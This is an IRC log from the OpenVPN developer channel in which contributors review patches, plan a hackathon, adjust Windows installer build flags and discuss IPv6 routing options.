(c-basic-offset . 4))) 05:15 <@plai> dazo: I can change to that coding style 05:16 <@plai> dazo: thanks 05:17 <@cron2> mmmh, so shall I go back from vi to emacs, after 15 years...? 05:18 <@cron2> no... but I might be coaxed going to vim :) 05:18 <@cron2> dazo: could you document that in our wiki? 05:19 <@dazo> sure! 05:19 <@cron2> plai: "git diff" is also quite good in highlighting stuff "--whitespace=fix" will fix (like, space-before-tab, or trailing blanks) but "all space" is not in that list 05:19 <@dazo> git diff with colours enables, that is 06:26 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 07:16 <@dazo> wiki page updated in regards to coding style ... https://community.openvpn.net/openvpn/wiki/DeveloperDocumentation#Formatting 07:16 <@vpnHelper> Title: DeveloperDocumentation – OpenVPN Community (at community.openvpn.net) 08:43 < n13l> hey all. is there any general ovpn plugin group/role based plugin ? which should route different authorized users to different network for example ? 08:44 * cron2 points to dazo "he's da plugin master!" (and I could imagine that eurephia can do this, it can do everything!) 08:45 < n13l> authentication type plugin could set some envs (group with 1:n roles) after succesfull authentication and authorization plugin should call different scripts for different group/roles combination 08:46 < n13l> just lookin arround if there's something like that available 08:47 < n13l> eurephia looks good :) working on similar concept but maybe abit more general (openvpn just one app use case) 09:08 < mator> n13l, but why do you need plugin at all, if you can analyze data already available on openvpn connection with script ? 09:08 < mator> like common_name or username 09:09 < mator> and map them to your environment 09:30 <@cron2> plugin is more performant than scripts for "heavy duty" servers 10:08 < mator> probably a work of PAM modules 10:08 < mator> s/of/for/ 10:19 < n13l> I imagine some solution smiliar what apache2/aaa modules does 10:20 < n13l> separated layers for authentication and authorization 10:20 < n13l> access authorization after successfull authentication with for example ldap plugin 10:20 < n13l> and extend openvpn configuration which should looks similar also "some kind of requre " directive 10:21 < n13l> require 10:21 < n13l> i dont searching some quick win solution but something more general for other users 10:43 <@vpnHelper> RSS Update - gitrepo: Make client delay less before sending PUSH_REQUEST <https://github.com/OpenVPN/openvpn/commit/afb93fac803fbab7406d3b2dff6d1f39365bca74> 11:13 <@dazo> n13l: have a look at my eurephia plug-in ;-) 11:13 <@dazo> !eurephia 11:13 <@vpnHelper> "eurephia" is http://www.eurephia.net/ 11:14 <@dazo> it 11:14 <@dazo> it's not that generic, but I've tried to build it as a framework ... so it should be possible to extend it to cover new areas 11:14 * dazo heads out now 11:15 -!- dazo is now known as dazo_afk 11:19 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:19 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 11:21 < n13l> dazo_afk: maybe one day we could talk about ideas behind in more details :) 11:22 < n13l> dazo_afk: btw any EKM ack progress ? :) 11:22 < n13l> dazo_afk: I am using TLS side channel authentication based on OpenVPN in production allready! 11:23 < n13l> dazo_afk: but there's need to patch new server version :( until EKM is acked . :) 11:50 -!- esde [~something@openvpn/user/esde] has quit [Ping timeout: 256 seconds] 12:09 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 265 seconds] 12:43 <@vpnHelper> RSS Update - gitrepo: get_default_gateway_ipv6(): Linux / Netlink implementation. <https://github.com/OpenVPN/openvpn/commit/3128abcfdd1eb293b10e4d0bfdb0805728538563> 13:00 <@cron2> /bin/route -A inet6 add 2607:fc50:1001:5200::4/128 dev eth0 gw 2001:608:4::1 metric 1 13:01 <@cron2> "even with old-style /bin/route" :) 13:19 <@vpnHelper> RSS Update - gitrepo: Do not install a host route for the VPN on Android <https://github.com/OpenVPN/openvpn/commit/1ff39cff4e644103607f0266cd4666dab18716c5> || Implement handling of overlapping IPv6 routes with IPv6 remote VPN server address <https://github.com/OpenVPN/openvpn/commit/3ddb56433b1fa0f20565dfda13a647459c06251a> 19:01 -!- esde [~something@openvpn/user/esde] has joined #openvpn-devel --- Day changed Fri Sep 18 2015 00:10 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:10 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:04 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Quit: Leaving.] 02:04 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 02:04 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 02:05 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Client Quit] 03:57 -!- dazo_afk is now known as dazo 04:03 <@dazo> n13l: Yours and a patchset from Tim Small are my bad guilts ... There's a hackathon coming up in Delft in not too long, so if I haven't managed it before then, then I do want to have it reviewed by the end of the hackathon 04:06 <@cron2> dazo: hackathons are not exactly good for reviewing stuff from people not on-site... which is why I'm so happy that plaisthos reviewed all my stuff beforehand (so my brain is free to help with other bits :) ) 04:07 <@dazo> I know, but I will just isolate myself for some time to get that done ... at least those days are allocated for OpenVPN stuff entirely 04:07 <@cron2> true 04:07 <@cron2> so are you taking your wife along? 04:07 <@dazo> the whole family on a trip :) 04:07 <@dazo> but she is aware that I'll be busy! :) 04:07 <@dazo> She just wanted to see Delft :) 04:08 <@cron2> yeah, but it's still nice. And since Simone is coming along, there's company. 04:08 <@dazo> cool! Are you staying at the hotel close to Fox-IT? 04:08 <@dazo> Westcord, was it? 04:08 <@cron2> yep 04:08 <@dazo> we too! 04:08 <@cron2> no idea, "the close one" 04:09 <@dazo> :) 04:10 <@dazo> We're arriving on Thursday around 16:00 iirc ... so feel free to give a heads-up if you're around. 04:19 <@cron2> we'll arrive Friday noonish 04:20 * dazo begins to plan patch review Friday morning, before noon ... more might arrive around that time too 06:38 < weary> Westcord is the really close one :) 09:23 * d12fk cannot come =( 09:23 <@cron2> d12fk: we'll miss you! How else can we make this service thingie work! 09:24 <@d12fk> come to karlsruhe in spring 09:25 <@cron2> send an invite :) 09:25 <@d12fk> let's keep that in mind actually 09:26 <@d12fk> or is spring too soon? 09:26 <@d12fk> maybe we can do a windows break out session =) 09:26 <@d12fk> the windows leg of the hackathon 09:27 <@cron2> spring is too late...! 09:27 <@d12fk> can do it a week later even 09:28 <@cron2> that will be a bit too soon :-) 09:29 <@cron2> but maybe we can find time for a virtual intermediate windows session... 09:33 <@d12fk> ok, what's holding it up to be ntegrated currently? 09:35 <@cron2> last thing I heard is that syzzer can't make it start 09:36 <@cron2> (something about a required dependency not being there, was busy with other stuff - which is now nearly done, so "time to return here") 09:43 <@cron2> and we definitely could use your advice regarding windows building and the GetBestRoute2() patch in http://article.gmane.org/gmane.network.openvpn.devel/10085 09:43 <@vpnHelper> Title: Gmane -- PATCH 10 10 get default gateway ipv6 : Win32 implementation using GetBestRoute2 (at article.gmane.org) 11:46 -!- n13l [~Daniel@aaa.anect.cz] has quit [Ping timeout: 256 seconds] 12:04 -!- reators [~holger@2001:1a80:2000:2:816f:ee47:fc90:aa73] has quit [Quit: Leaving.] 18:41 -!- dazo is now known as dazo_afk 22:44 -!- arlen [~arlen@jarvis.arlen.io] has quit [Quit: exit] 23:39 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel 23:41 -!- arlen [~arlen@jarvis.arlen.io] has quit [Client Quit] --- Day changed Sat Sep 19 2015 16:18 -!- s7r [~s7r@openvpn/user/s7r] has quit [Ping timeout: 256 seconds] 16:23 -!- esde [~something@openvpn/user/esde] has quit [Quit: .] 18:28 -!- esde [~something@openvpn/user/esde] has joined #openvpn-devel 23:56 -!- arlen [~arlen@jarvis.arlen.io] has joined #openvpn-devel --- Day changed Sun Sep 20 2015 04:23 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 06:13 <@cron2> .oO(syzzer has returned!) 06:38 <@syzzer> yes, got to my first todo ;) 06:38 <@syzzer> unfortunately, next on my list in vacuuming the house :') 06:42 <@cron2> haha :-) - we spent quite a bit of time today sorting shoes - two daughters... 07:50 <@vpnHelper> RSS Update - gitrepo: Fix IPv6 host routes to LAN gateway on OpenSolaris <https://github.com/OpenVPN/openvpn/commit/fa5697f022110f557710f709c9ac0a3420bb073c> || get_default_gateway_ipv6(): *BSD / MacOS / Solaris PF_ROUTE implementation <https://github.com/OpenVPN/openvpn/commit/2ff366f78a2bf8d0a2744db9b59f7274b671a042> || Implement '--redirect-gateway ipv6' <https://github.com/OpenVPN/openvpn/commit/d227929b5db049ca6efbef9fb7d84be5e 10:29 <@cron2> syzzer: under which conditions can backend_x509_get_serial_hex() return NULL (except "invalid certificate fed into it")? 10:42 <@syzzer> openssl builds can't, but polarssl builds can, according to the function contract of x509_serial_gets() 10:43 <@syzzer> I don't think the current code could actually error, but I'd still rather have a defensive implementation 10:47 <@cron2> well, if it *could* return NULL, we should be prepared to handle it... 10:48 <@syzzer> the contract of x509_serial_gets() says it can return an error, and in that case backend_x509_get_serial_hex() will return NULL 11:39 <@cron2> does the patch apply to master and 2.3? It's not exactly "new functionality", but most likely the crypto bits mismatch... 11:41 <@syzzer> I only tested on master 11:42 <@syzzer> but I think it makes sense to apply to 2.3 too, if that does not cause trouble 11:44 <@cron2> let me try whether it cherrypicks :) 11:45 <@syzzer> running 'make check' now... 11:47 <@cron2> now why is git am refusing this mail... 11:48 <@syzzer> git am accepted the attached .patch file without hassle here 11:49 <@cron2> yep, but I usually feed it the whole original mail, so message-id reference is right 11:49 <@syzzer> and make check looks good for 2.3 too 11:49 <@syzzer> ah 11:50 <@cron2> your "make check" actually excercises "expired cert" code? 11:50 <@cron2> mine only excercises network code plaisthos or I have broken in the past :) 11:51 <@syzzer> no, not yet, though I did already expand the test-certs generate script to add revoked cert + crl 11:51 <@cron2> oh, cool 11:51 <@syzzer> maybe later :) 11:51 <@cron2> ok, in *this* corner, the crypto 2.3 code is close enough to master :) - it applies, ship it :) 12:01 <@vpnHelper> RSS Update - gitrepo: Log serial number of revoked certificate <https://github.com/OpenVPN/openvpn/commit/767e4c56becbfeea525e4695a810593f373883cd> --- Day changed Mon Sep 21 2015 00:31 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 00:31 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 00:59 <@mattock1> ah, urlwatch catched yet another spam logo on the Trac front page 01:22 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 255 seconds] 01:23 -!- lev__ [~lev@stipakov.fi] has joined #openvpn-devel 01:34 <@cron2> mattock1: good morning. Are you actually there? 03:30 -!- novaflash_away is now known as novaflash 04:18 <@syzzer> mattock1, cron2: meeting tonight? 04:25 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:25 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 04:56 <@cron2> syzzer: how did you manage to summon mattock1? ;-) 04:56 <@cron2> but yes, meeting time! 04:56 <@cron2> (tonight) 04:56 * cron2 tries again 04:56 <@cron2> mattock1: good morning. Are you actually there? 05:57 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 05:58 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:58 -!- mode/#openvpn-devel [+o mattock2] by ChanServ 06:36 -!- reators [~holger@2001:1a80:2000:2:3984:3a31:217a:a680] has joined #openvpn-devel 06:53 -!- mattock2 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 07:20 <@vpnHelper> RSS Update - tickets: #606: Adding and removing Route error on Win 10 Workstation OpenVPN 2.3.8 <https://community.openvpn.net/openvpn/ticket/606> 08:39 <@cron2> mattock is avoiding me... *snif* 09:17 <@cron2> syzzer: seems we'll do a small meeting then, but there's a couple of things we could chat about :-) 09:33 <@syzzer> cron2: yeah, we'll see 09:34 <@syzzer> I did look at your strdup() comments, but did not find time to responds yet 10:17 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:17 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 10:18 <@mattock1> so meeting today? 10:18 <@cron2> only if this elusive mattock guy shows up 10:18 <@mattock1> he's here now 10:19 <@cron2> \o/ 10:20 <@cron2> syzzer and I are here, so yes, meeting. Dazo is planning to review Tim's patches in Delfts, so I assume he won't be here. Plaisthos is doing sports every Monday... 10:20 <@cron2> but we have quite a bit of agenda 10:20 <@cron2> *and* I have work for you :-) 10:22 <@cron2> mattock1: could you try building installers based on master with patch http://article.gmane.org/gmane.network.openvpn.devel/10085 ? 10:22 <@vpnHelper> Title: Gmane -- PATCH 10 10 get default gateway ipv6 : Win32 implementation using GetBestRoute2 (at article.gmane.org) 10:23 <@cron2> I wonder whether it will build for you or explode... some of my mingw headers were just broken, but that was an older install on ubuntu 12.04, so a more recent build environment might "just work" - or not 10:23 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 255 seconds] 10:24 <@cron2> shall we start collecting for a proper internet link for mattock? 10:28 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:28 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 10:30 <@cron2> mattock1: back? 10:41 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds] 11:02 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 11:02 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 11:02 -!- TimSmall [~tim@ipv6test5.plus.com] has joined #openvpn-devel 11:03 <@mattock1> train... 11:29 -!- TimSmall [~tim@ipv6test5.plus.com] has quit [Quit: Lost terminal] 11:49 -!- TimSmall [~tim@ipv6test5.plus.com] has joined #openvpn-devel 11:52 < TimSmall> Hope to be about for meeting today from ~18:40 UTC, but will try and make it earlier (family stuff) re pam plugin patches... 11:58 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 240 seconds] 11:59 <@cron2> TimSmall: Dazo won't make it, I'm afraid... but he promised to review in Delft (3 weeks from now) 12:02 < TimSmall> cron2: OK, would you like me about today anyway? 12:03 <@cron2> TimSmall: you're welcome of course, but I'm afraid we won't make much progress with your patches :-/ 12:03 < TimSmall> cron2: OK, np. 12:11 -!- TimSmall [~tim@ipv6test5.plus.com] has quit [Ping timeout: 244 seconds] 12:36 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:36 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 12:36 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has quit [Client Quit] 12:37 -!- mattock1 [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 12:37 -!- mode/#openvpn-devel [+o mattock1] by ChanServ 12:59 <@mattock1> okay, almost meeting time 13:01 <@syzzer> yep! 13:03 <@mattock1> cron2: you here? 13:04 <@cron2> yep 13:04 <@cron2> *I* was here all day :-) 13:04 <@cron2> so what did you see from the questions I asked at 17:20? 13:05 <@mattock1> probably none 13:05 <@mattock1> can you copy and paste? 13:06 <@cron2> query... 13:07 <@cron2> pasted :) 13:07 <@mattock1> cron2: I'll paste your paste to ticket so that I don't forget 13:07 <@mattock1> I'll try to build the installers tomorrow 13:08 <@cron2> thanks 13:08 <@cron2> ok, let's go :) 13:08 <@mattock1> https://community.openvpn.net/openvpn/wiki/Topics-2015-09-21 13:08 <@vpnHelper> Title: Topics-2015-09-21 – OpenVPN Community (at community.openvpn.net) 13:08 <@mattock1> some kind soul prepared that agenda while I was missing 13:08 * cron2 <- 13:09 <@cron2> it's the agenda from two weeks ago, with small updates 13:09 <@cron2> first item is on you anyway :-) - in my windows build environment (which was set up some 2 years ago according to your instructions), I noticed that the binaries get built with "configure --disable-debug" - which breaks --show-gateway 13:10 <@cron2> can you check whether this is still so, and if yes, please remove the --disable-debug? It does not make much size difference, but when debugging the new route-gateway-ipv6 stuff, I need --show-gateway 13:10 <@mattock1> ok so topic #1 is talking about the Git "master" -based installers, right? 13:11 <@cron2> yes 13:11 <@mattock1> ok, -> TODO 13:11 <@cron2> well, windows installer build system in general, that is 13:12 <@cron2> I do not think we should ever build with --disable-debug, as it, uh, disables debugging functionality :-) 13:12 <@mattock1> how much does debugging slow things down? 13:12 <@mattock1> do we have like tons of #ifdefs with debugging stuff? 13:13 <@syzzer> stuff like dmsg() calls are not compiled in 13:13 <@syzzer> but we mostly use msg() anyway 13:13 <@cron2> we do have like tons of #ifdef ENABLE_DEBUG calls :-) 13:14 <@cron2> but most of it is not performance impacting, like the --show-gateway functionality - that is called once at connection setup and does a few printf()s 13:15 <@mattock1> ok so enabling debug on stable installers will not kill performance 13:15 <@mattock1> I'm fine with it if you are 13:15 <@syzzer> we enable it on most other platforms already afaik 13:16 <@cron2> the performance critical stuff is only enabled if you "really turn it on" 13:16 <@cron2> #ifdef ENABLE_DEBUG 13:16 <@cron2> if (check_debug_level (D_EVENT_WAIT)) 13:16 <@cron2> show_wait_status (c); 13:16 <@cron2> #endif 13:16 <@cron2> like this 13:16 <@mattock1> it seems I need to turn it on by default in openvpn-build, because my buildtest thing clones openvpn-build anyways 13:16 <@mattock1> ah yes, so runtime option 13:16 <@mattock1> makes perfect sense 13:16 <@mattock1> I think I'll fix this right now 13:17 <@cron2> thanks :) 13:17 <@cron2> (if you really need to squeeze out the last few bits, --enable-small --disable-debug can be done, but not on a generic windows build) 13:19 <@mattock1> EXTRA_OPENVPN_CONFIG="${EXTRA_OPENVPN_CONFIG:---enable-password-save --disable-debug --disable-snappy}" 13:19 <@cron2> this :) 13:19 <@mattock1> so removing --disable-debug will be enough? 13:19 <@mattock1> no need to --enable-debug 13:19 <@cron2> yes 13:23 <@mattock1> let's move on while I commit the change 13:23 <@mattock1> uh, T-shirts 13:23 <@cron2> haha :) 13:23 <@mattock1> I wonder who will order those? 13:23 <@mattock1> I've heard of no volunteers 13:24 <@mattock1> :P 13:24 <@syzzer> haha 13:25 <@syzzer> we could pick up the strdup() stuff while you commit the change :) 13:25 <@cron2> I think we'll need to find a fair selection criteria, like "number of lines in #openvpn-devel in relation to commit messages" or so :) 13:26 <@cron2> syzzer: yep :) - I think strdup() needs to just go out and be replaced by string_alloc(...,NULL) - done 13:26 <@cron2> one might argue about the beauty of certain code parts afterwards, but that is the proper fix 13:26 -!- gava100 [~circuser-@201.48.114.241] has joined #openvpn-devel 13:26 <@syzzer> yes, I agree with that part 13:26 <@mattock1> ok, done 13:26 < gava100> Hello All, 13:27 <@cron2> (the windows strdup() bit might be left in, as it's if (... NULL) checked anyway 13:27 <@syzzer> but some of this code is just weird... 13:27 <@cron2> some of this smells like "James coded it, it was perfect, and one of us optimized/hardened/tweaked it" :) 13:27 <@syzzer> yes, most likely :) 13:27 < gava100> Please I'd like to hear a feedback from you guys regarding the features for openvpn NAT. 13:28 <@cron2> gava100: well. I skimmed the code, and the amount of extra lines it brings is fairly huge 13:28 <@cron2> (since it needs to deal with shifting sequence numbers, which we do not have anywhere else) 13:33 <@cron2> so it's really a trade off - do we want to maintain the NAT translation code at the extent of lots of extra code that needs really careful review (enough products have had security issues in FTP translation code - like, what happens if the string after translation is too big for the MTU because someone is playing tricks on us?) 13:34 < gava100> good point. :-) 13:34 <@cron2> I need to look more closely into the description of your use case again and see whether I can find a nice way to solve your use case without adding code :-) 13:35 <@cron2> it is still sitting in my mailbox "TODO queue" 13:35 < gava100> great!!! Thx!!! 13:36 <@cron2> (besides: plaisthos removed the #ifdef CLIENT_NAT, so you might want to rebase :-) ) 13:37 < gava100> ok. I'll do that and should I send the patch again? 13:42 <@cron2> gava100: please 13:42 < gava100> and despite the FTP NAT implementation, how about the "client-ip" parameter on the client-nat option? What did you think? It's a easy and small change. 13:43 <@cron2> gava100: I have not fully understood those yet, but that might be due to my unfamiliarity with --client-nat in general. Need to read up on it and then I'll comment 13:43 <@cron2> but smaller patches that do not involve moving around buffers are much easier to review :) 13:44 < gava100> all right, I'll send 2 patches then. The first one for the client-ip and the other one with the FTP NAT, ok? 13:46 <@cron2> gava100: thanks! 13:47 < gava100> u r welcome!!! 13:48 <@mattock1> next topic? 13:49 <@cron2> Tim has been postponed, but we have on record that Dazo will review in Delft (he'll arrive Thursday afternoon, so has all of Friday morning to get this done :) ) 13:49 <@cron2> some Gert Doering has been busy and has sent quite a bit of stuff! 13:49 -!- TimSmall [~tim@ipv6test5.plus.com] has joined #openvpn-devel 13:50 * cron2 looks at syzzer for the MSS bits, and at mattock for the get_default_gateway_ipv6() bit 13:51 * syzzer wakes up 13:51 <@syzzer> MSS, let me see... 13:51 <@mattock1> looking at http://thread.gmane.org/gmane.network.openvpn.devel/10085 13:51 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 13:52 <@mattock1> I'm currently building with "get_default_gateway_ipv6(): Win32 implementation using GetBestRoute2()" patch 13:53 <@mattock1> I cannot really comment on the code, but dropping WinXP in "master" is fine 13:54 <@mattock1> we should probably try to get our users to test the special installers which I'm hopefully able to produce 13:54 <@mattock1> (so far no build errors) 13:54 <@cron2> which ones has it built already? 13:55 <@cron2> I only built an openvpn.exe for 32bit, as I have no real proper "build installer" environment, just a leftover test tree that can build .exe :-) 13:55 <@cron2> and I might come up with a tester for these installers as well - two people independently asked me for "we need the overlapping route/gateway functionality!", so, this might actually get some excercise :-) 13:56 <@cron2> (I *did* test this, but use cases vary so much that I could only test a few cases, and even that took about a day, across 5 BSDs, 2 MacOS versions, Solaris, 2x Linux and Windows...) 13:56 <@mattock1> yeah 13:57 <@mattock1> the buildtest thing builds both 32-bit and 64-bit installers 13:57 <@mattock1> http://build.openvpn.in/downloads/snapshots/ 13:57 <@cron2> cool 13:57 <@mattock1> they should pop in there 13:57 <@cron2> if you install it and run "openvpn --show-gateway", will it print something? 13:58 <@mattock1> there they are: http://build.openvpn.in/downloads/snapshots/ 13:58 <@cron2> (that is the "--disable-debug" bit :) ) 13:58 <@mattock1> well it should have fetched latest openvpn-build which does not have --disable-debug 13:58 <@mattock1> I'll check just in case 13:59 <@mattock1> ok, it did not update openvpn-build 13:59 <@mattock1> retriggered the builds after a rebase 13:59 * cron2 has no access to build.openvpn.in... 13:59 <@mattock1> oops 13:59 <@mattock1> replace with .net 13:59 <@mattock1> http://build.openvpn.net/downloads/snapshots/ 13:59 <@vpnHelper> Title: Index of /downloads/snapshots/ (at build.openvpn.net) 14:03 <@syzzer> cron2: the MSS bit looks good to me, although I do not really like the casts in the dmsg()... 14:04 <@cron2> syzzer: what would you suggest? printf() format characters and "strict bit length" integers never truly get along well... and an (int) will always be long enough here, and %d=int, so "well defined" 14:05 <@cron2> one could use "int" for mssval and maxmss, but that would make the patch larger, achieving the same thing 14:05 <@syzzer> the alternative is using PRIu16, but I agree that this won't do any harm 14:05 * cron2 didn't introduce the (int), btw :) 14:06 <@syzzer> yes, I noticed this was already there :) 14:06 <@syzzer> to I'm ok with the change itself 14:08 <@cron2> (I think C expands this to (int) anway... so actually getting rid of it might be fine :) - looking at my _inttypes.h here, I find that PRIu8 to PRIu32 all map to "u") 14:09 <@cron2> so, ACK or change? 14:11 <@syzzer> hmm, no similar surrounding code 14:12 <@syzzer> so let's fix this too :) 14:13 <@syzzer> should I reply on the list, or will you send a v2? 14:14 <@cron2> what is it that you want to see? I'm actually not very happy about using PRIu16 as I find that much uglier than (int) 14:14 <@cron2> (especially given that "int" is never less than 16 bits, so the cast is totally safe) 14:15 <@syzzer> is (int) guaranteed to be more than 16 bits? 14:16 <@cron2> I'm not absolutely sure if there is an embedded 8 bit system somewhere that uses int=8bit, but everything reasonable (like, "turbo C on dos 3.11 and later") has 16 bits or more 14:17 <@cron2> but everything we'll ever be able to run on is 14:17 < mator> evening. got my real sparc (v215 server) with linux back online 14:18 <@cron2> mator: hey :-) - and, does it behave? 14:19 <@cron2> mattock1: so the 767e4c56be snapshot has the --show-gateway code? 14:20 <@syzzer> sorry - needed to help $gf in the kitchen. back now. 14:21 <@mattock1> cron2: just a se 14:21 <@mattock1> c 14:22 <@mattock1> http://build.openvpn.net/downloads/snapshots/openvpn-install-20150921191336-767e4c56be-i686.exe 14:22 <@mattock1> http://build.openvpn.net/downloads/snapshots/openvpn-install-20150921191336-767e4c56be-x86_64.exe 14:22 <@mattock1> those should have it 14:22 <@syzzer> my OCD tells me to use "The Right Specifier", but if you prefer (int), I'll just ACK and we'll be done with it :) 14:22 <@cron2> syzzer: we currently use PRI[udi] exactly in one place, which is fairly new code... 14:22 <@syzzer> heh, probably my code :p 14:22 <@cron2> nah, lev__, but you reviewed it :-) 14:23 <@cron2> (float) 14:23 <@syzzer> ah 14:23 * cron2 prefers (int) :-) but I'm open to discuss this as part of "the new coding style" in Delft 14:24 <@syzzer> ... and it's a dmsg() call anyway, and who would even build production binaries without --disable-debug... ;) 14:24 <@cron2> mattock1: cool. Do you have a VM at hand for a quick test? 14:24 <@cron2> lol 14:24 <@cron2> syzzer: do you? 14:25 <@syzzer> ACK sent 14:25 <@cron2> \o/ I can close a ticket! 14:25 < TimSmall> cron2: FWIW, I think we could go so far as to say everything that openvpn will ever run on will have int >= 32 bits, and also it must be at least 16 bit according in ICO C http://www.open-std.org/jtc1/sc22/wg14/www/docs/n1256.pdf#page=34 14:25 <@syzzer> no, I build without --disable-debug too 14:25 <@mattock1> argh 14:25 <@mattock1> I will need to rebuild _again_ 14:26 <@mattock1> just a sec 14:26 < mator> cron2, going to check it tomorrow 14:26 <@cron2> TimSmall: yeah, every *reasonable* platform should be totally sane in this regard (like, "memory model requirements" and such), but I wouldn't risk my life on "there is no weird 8-bit C compiler anywhere" :) 14:27 <@cron2> it won't be an ISO C compiler, but maybe K&R 77 or so... 14:27 <@syzzer> TimSmall: ah, so uint16_t will always fit with %u 14:27 <@syzzer> that's useful to know 14:27 <@cron2> mattock1: what happened? 14:28 <@cron2> mator: can you comment into the trac ticket, then? I'll merge the code ASAP (master+2.3), but having that feedback would also be nice 14:29 <@mattock1> well, it was still using the standard openvpn git repo 14:29 <@mattock1> I scrapped the whole tmp-directory 14:29 <@mattock1> now it has no option but to refetch from the correct URL 14:30 <@cron2> haha, your build system really likes to do that :-) - "yeah, I can see that you want me to use git, so I fetch git, build a tar from that, ignore it, fetch the 2.3.8 tar ball, and build *that*" 14:31 <@mattock1> well, that one is Alon's buildsystem with minor tweaks from me and pekster 14:31 <@mattock1> although _this_ buildsystem is a wrapper on top of that buildsystem 14:31 <@cron2> yes, but since you took over, it is all YOUR fault now :) 14:31 -!- TimSmall [~tim@ipv6test5.plus.com] has quit [Ping timeout: 272 seconds] 14:31 <@mattock1> not all, but there are not that many other people to blame nowadays :P 14:32 <@cron2> yeah, we need to do something about that. Like, T-Shirts! 14:32 <@mattock1> and as we know, the most important thing is to know "who's fault is this?" :) 14:32 * cron2 runs 14:33 <@mattock1> how about http://thread.gmane.org/gmane.network.openvpn.devel/10086 ? 14:33 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 14:34 <@cron2> the question on that one basically is 14:34 <@plai> Hello from dublin 14:34 <@cron2> "we have '--redirect-gateway ipv6' in 2.4 and 3.x now, but not in 2.3, so people cannot use it" 14:34 * plai is on vacation this monday 14:34 <@cron2> plai: hello to dublin :-) 14:35 <@plai> cron2: for the trac ticket, i don't have my login ready 14:35 <@plai> but it is consistent on all platforms 14:35 <@plai> openbsd just does not believe in ipv4 mapped addresses 14:36 <@cron2> plai: no, it isn't -- "proto udp" on FreeBSD will give you a v6 socket, and on Linux a v4 socket - at least 22 months ago when I tested this 14:36 <@cron2> (a server socket, that is) 14:36 <@cron2> on OpenBSD, you're screwed anyway, but I don't care much 14:37 <@plai> cron2: oh that 14:37 <@plai> cron2: yeah that is due to different beavhiour of getaddrinfo 14:37 -!- TimSmall [~tim@ipv6test5.plus.com] has joined #openvpn-devel 14:37 <@cron2> yep :-) - I had all forgotten about this trac, but valdikss is very busy digging up stuff that we should fix 14:38 <@plai> but I should dig up my multisocket branch again 14:38 <@cron2> +1 14:38 <@plai> iirc udp almost works and tcp did not work due to the "Arne did not understand timers in OpenVPN" 14:38 <@cron2> now time has passed, and timers are understood! 14:39 <@cron2> (I skimmed that patch, until time ran out) 14:39 < mator> cron2, it's unstable debian, and it does not have git installed =( going to get git first (or fetch github snapshot) and compile tomorrow 14:39 < mator> but will commend in trac ticket anyway 14:39 <@cron2> thanks 14:41 <@plai> I am back to vaction 14:41 <@cron2> enjoy! 14:41 <@cron2> so, return-from-subroutine... :-) 14:41 <@cron2> talking about redirect-gateway ipv6 14:42 * cron2 suggests having these two keywords (ipv6 and !ipv4) in 2.3.x as well, so people can actually use them in their configs without having to check "oh, this is a 2.3 client, don't" 14:42 <@syzzer> makes sense to me 14:42 <@cron2> there is a certain danger - "connecting over ipv6 and using redirect-gateway ipv6 will blow up!" - but the alternative (route-ipv6 2000::/3) will blow up just as well 14:43 <@cron2> blame James for introducing new keywords :-) - and FTR, sending "redirect-gateway ipv6 !ipv4" to an iphone will blow up openvpn there, as the VPN API does not believe in "you should be able to do IPv6-only!" :-) 14:46 <@syzzer> heh, brilliant 14:47 <@syzzer> I really don't have much of an opinion here, when it comes to networking, I just listen to what you and plai think ;) 14:47 <@cron2> but anyway, this is why this is on the agenda - I'll prepare and send the patch, next :-) 14:48 <@mattock1> http://thread.gmane.org/gmane.network.openvpn.devel/10061 next? 14:48 <@vpnHelper> Title: Gmane Loom (at thread.gmane.org) 14:48 <@cron2> let's jump one to the strdup() one - syzzer: have we covered this? 14:48 <@syzzer> yes, I'm sending new patches 14:48 <@plai> cron2: one last thing before really back to vaction 14:49 <@plai> cron2: you might want to print an error/warning on redirect-gateway !ipv4 14:49 <@plai> hm 14:49 <@plai> on second thought not 14:49 <@plai> redirect-gateway def1 14:49 <@cron2> ? 14:49 <@plai> and redirect-gateway ipv6 14:49 <@cron2> this will do ipv4+ipv6 14:49 <@plai> on two seperate lines will work, right? 14:50 <@cron2> yep 14:50 <@cron2> each redirect-gateway line will just or-in flags 14:50 <@syzzer> one to simple replace strdup() with string_alloc(), and another one to add a return value 